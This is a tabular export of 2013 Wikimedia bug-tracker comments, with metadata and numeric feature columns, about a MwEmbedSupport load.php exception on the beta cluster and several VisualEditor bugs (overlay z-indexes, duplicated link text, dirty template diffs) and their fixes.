+254086,load.php error?  many symptoms...,Changes above reverts the two patches mentionned in bug 45918.,,,1372324616,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+254080,load.php error?  many symptoms...,Related URL: https://gerrit.wikimedia.org/r/70806 (Gerrit Change Ie373d1f407788a8e2456c3d8a34cc79ac9ed8bb6),,,1372324322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254073,load.php error?  many symptoms...,Related URL: https://gerrit.wikimedia.org/r/70805 (Gerrit Change I02ed22e324435e362cabdfc67e69c224ad9e2550),,,1372324295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254067,load.php error?  many symptoms...,"In the exception.log I also got a bunch of:
+
+
+2013-06-26 22:39:51 deployment-jobrunner08 aawiki: [ff75b05a] [no req]   Exception from line 32 of /data/project/apache/common-local/php-master/extensions/MwEmbedSupport/MwEmbedResourceManager.php: MwEmbedResourceManager::register not given readable path: extensions/TimedMediaHandler/MwEmbedModules/EmbedPlayer
+
+
+It seems the issue is caused by https://gerrit.wikimedia.org/r/#/c/69479/ ""Register resources with absolute path""  which is intended to fix bug 45918 ""MwEmbedSupport doesn't work with non standard layouts""",,,1372323805,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+254061,load.php error?  many symptoms...,"exception 'MWException' with message 'ResourceLoaderFileModule::readScriptFiles: script file not found: ""/usr/local/apache/common-local/php-master/er/extensions/MwEmbedSupport/MwEmbedModules/MediaWikiSupport/MediaWikiSupport.loader.js""' in /data/project/apache/common-local/php-master/includes/resourceloader/ResourceLoaderFileModule.php:574",,,1372294623,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+254057,load.php error?  many symptoms...,"not a blocker, sorry, mw.o is a workaround",,,1372294116,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+254054,load.php error?  many symptoms...,"This also breaks Wikilove on beta. 
+
+In about 24 hours I will be giving a training session at WMF for 50 people about browser test automation that I had intended to do with Wikilove on beta labs.  
+
+While I could move the demo to mw.o instead, that would be less than ideal.",,,1372293962,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+52259,VisualEditor: Silent clean-up of untouched references and templates,"I made a grammar fix (one word), and did not check the differences before saving. Mistake! :) 
+
+http://en.wikipedia.org/w/index.php?title=Abdullah_of_Saudi_Arabia&diff=prev&oldid=561571041
+
+It looks like all it did was sanitize the templates, which isn't the worst thing on earth, but it's hard to verify that was all that happened (especially for a non-expert). 
+
+No recommended fix, exactly, but perhaps something to consider.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1372281720,1372294327.0,PHID-USER-kqwh3rvfxxh3wfsft7mu,True,,False,PHID-TASK-d2rlcey47hxosbomhyfo,task_description,resolved,True,c1,2,False,False,True,-1,,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+253805,VisualEditor: Silent clean-up of untouched references and templates,"Yeah, this is a quite bad problem to have. Thankfully, we believe that the majority of these issues have now been fixed (since that edit of yours) - so I'm going to mark this as fixed. There are no-doubt other issues we've yet to spot, but we've fixed this one. :-) Sorry for the inconvenience!",,,1372294327,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d2rlcey47hxosbomhyfo,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52246,VisualEditor: Be able to have enabled for all logged-in users but not anonymous users,"For deployment purposes, we will want VisualEditor to be enabled for all logged-in users but not anonymous ones; to do this, we'll probably just fail in VisualEditor.hooks.php#onBeforePageDisplay() if they're anonymous, according to Roan.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Unbreak Now!,100.0,1372267200,1372726673.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4qadhatjuo4mjlpfaic7,task_description,resolved,True,c1,2,True,False,True,-1,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+253157,VisualEditor: Be able to have enabled for all logged-in users but not anonymous users,We achieved this. Obviously. :-),,,1372726673,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qadhatjuo4mjlpfaic7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+52241,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Screenshot
+
+See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11809}",Unbreak Now!,100.0,1372263180,1372340043.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+252937,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Change 70851 merged by jenkins-bot:
+Make local overlays local to surface and remove insane z-indexes
+
+https://gerrit.wikimedia.org/r/70851",,,1372794337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252931,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Change 70851 had a related patch set uploaded by Robmoen:
+Make local overlays local to surface and remove insane z-indexes
+
+https://gerrit.wikimedia.org/r/70851",,,1372354311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252924,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Appears to be now fixed; marking as resolved. Thanks, Rob! :)",,,1372340043,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+252916,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook",Rob's working on re-doing our z-indexes and inheritance right now.,,,1372269443,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+252908,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","(Firefox 21.0, Windows 7)",,,1372263239,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+52159,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Screenshot
+
+I am unable to click ob the icon to open the image/caption dialog, see screenshot. Instead a cross to move the image is shown.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+
+**Attached**: {F11665}",Unbreak Now!,100.0,1372146600,1372379698.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-k6rdk2swblj7w4zhblsz,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+248247,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",Fixed and will be going out in a few minutes.,,,1372379698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+248241,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Change 70859 merged by jenkins-bot:
+Local Overlay Stacks
+
+https://gerrit.wikimedia.org/r/70859",,,1372379566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248233,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu","Change 70859 had a related patch set uploaded by Jforrester:
+Local Overlay Stacks
+
+https://gerrit.wikimedia.org/r/70859",,,1372361704,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248226,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",Also in Safari 6 for me.,,,1372270138,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+248219,"VisualEditor: Resize hover phantom has too high a z-index, so users are unable to click on the image inspector menu",I confirm this in Firefox 21 on enwp.,,,1372187179,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k6rdk2swblj7w4zhblsz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52140,VisualEditor: Link inspector creates the text twice if not running on a selection,"When using the control/command+k shortcut, and manually typing the text of the desired page to be linked, duplicate links are produced.  See http://en.wikipedia.org/w/index.php?title=User:PEarley_%28WMF%29/sandbox&diff=prev&oldid=561424914
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1372115280,1372264523.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ih6vrsjge6cjapq5orey,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247267,VisualEditor: Link inspector creates the text twice if not running on a selection,"(In reply to comment #5)
+> Great! Thanks for the quick response, James and team!
+
+Our pleasure; sorry it happened in the first place.",,,1372266003,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+247261,VisualEditor: Link inspector creates the text twice if not running on a selection,"Great! Thanks for the quick response, James and team!",,,1372265845,,PHID-USER-kqwh3rvfxxh3wfsft7mu,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+247255,VisualEditor: Link inspector creates the text twice if not running on a selection,Fixed and being deployed right now.,,,1372264523,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247249,VisualEditor: Link inspector creates the text twice if not running on a selection,Related URL: https://gerrit.wikimedia.org/r/70623 (Gerrit Change I8c68468a95cddbc7efb222cf3a1f9868b2949285),,,1372251641,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+247242,VisualEditor: Link inspector creates the text twice if not running on a selection,*** Bug 50188 has been marked as a duplicate of this bug. ***,,,1372214415,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247238,VisualEditor: Link inspector creates the text twice if not running on a selection,Confirmed - happens whenever you use the link inspector on a non-selection (slug or otherwise). Ed?,,,1372115781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ih6vrsjge6cjapq5orey,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+52129,VisualEditor: Transclusions not properly round-tripped,"When doing a simple test edit on https://en.wikipedia.org/wiki/Chloroplast?veaction=edit and then previewing the diff, several transclusions of the form {{expand section|..}} show up with dirty diffs. This is very likely a DOM corruption in the VE that disables selective serialization.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/wiki/Chloroplast?veaction=edit
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50070",Unbreak Now!,100.0,1372106580,1372708719.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_description,resolved,True,c1,2,True,False,True,-1,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+246566,VisualEditor: Transclusions not properly round-tripped,"I don't see the Dub Jones issue any more, so that appears to be fixed.
+
+There was also an independent Parsoid issue that resulted in incomplete DSR on transclusions, which is now also fixed. 
+
+If you don't see this issue any more then this bug can be closed as fixed.",,,1372704161,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+246560,VisualEditor: Transclusions not properly round-tripped,"(In reply to comment #7)
+> Another case:
+> https://en.wikipedia.org/w/index.
+> php?title=Dub_Jones_%28American_football%29&curid=5240085&diff=561834911&oldi
+> d=561833425
+WFM when I tried to reproduce at http://en.wikipedia.org/wiki/User:Catrope/Dub_Jones?veaction=edit . VE's sanity check says the DOM is clean. I believe these failures are due to cached content or some sort of bug in Parsoid/selser.",,,1372701493,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+246552,VisualEditor: Transclusions not properly round-tripped,"Another case:
+https://en.wikipedia.org/w/index.php?title=Dub_Jones_%28American_football%29&curid=5240085&diff=561834911&oldid=561833425",,,1372355719,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+246544,VisualEditor: Transclusions not properly round-tripped,"Another example where an unmodified template was dirtied:
+
+https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FGNoSR&diff=561782383&oldid=561781680
+
+Since our DOM diff is so simple I have a lot of faith in it. Did you diff the template DOM fragment after making an unrelated change?",,,1372314964,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+246537,VisualEditor: Transclusions not properly round-tripped,"(In reply to comment #4)
+> At least one {{expand section|..}} transclusion still dirty-diffs.
+> 
+> This will soon not show up as a diff any more because we improved our native
+> serialization, but it seems that the VE still dirties the transclusion, which
+> needs to be fixed.
+It doesn't seem to be dirtied by VE directly. On [[Chloroplast]], I get a clean diff if I don't make any changes, but a dirty diff if I make any change at all. This leads me to suspect a selser / DOMDiffer bug.
+
+Will try to produce a minimal test case and investigate from there.",,,1372292154,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1
+246529,VisualEditor: Transclusions not properly round-tripped,"At least one {{expand section|..}} transclusion still dirty-diffs.
+
+This will soon not show up as a diff any more because we improved our native serialization, but it seems that the VE still dirties the transclusion, which needs to be fixed.",,,1372291914,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0
+246522,VisualEditor: Transclusions not properly round-tripped,"
+
+*** This bug has been marked as a duplicate of bug 50070 ***",,,1372127871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
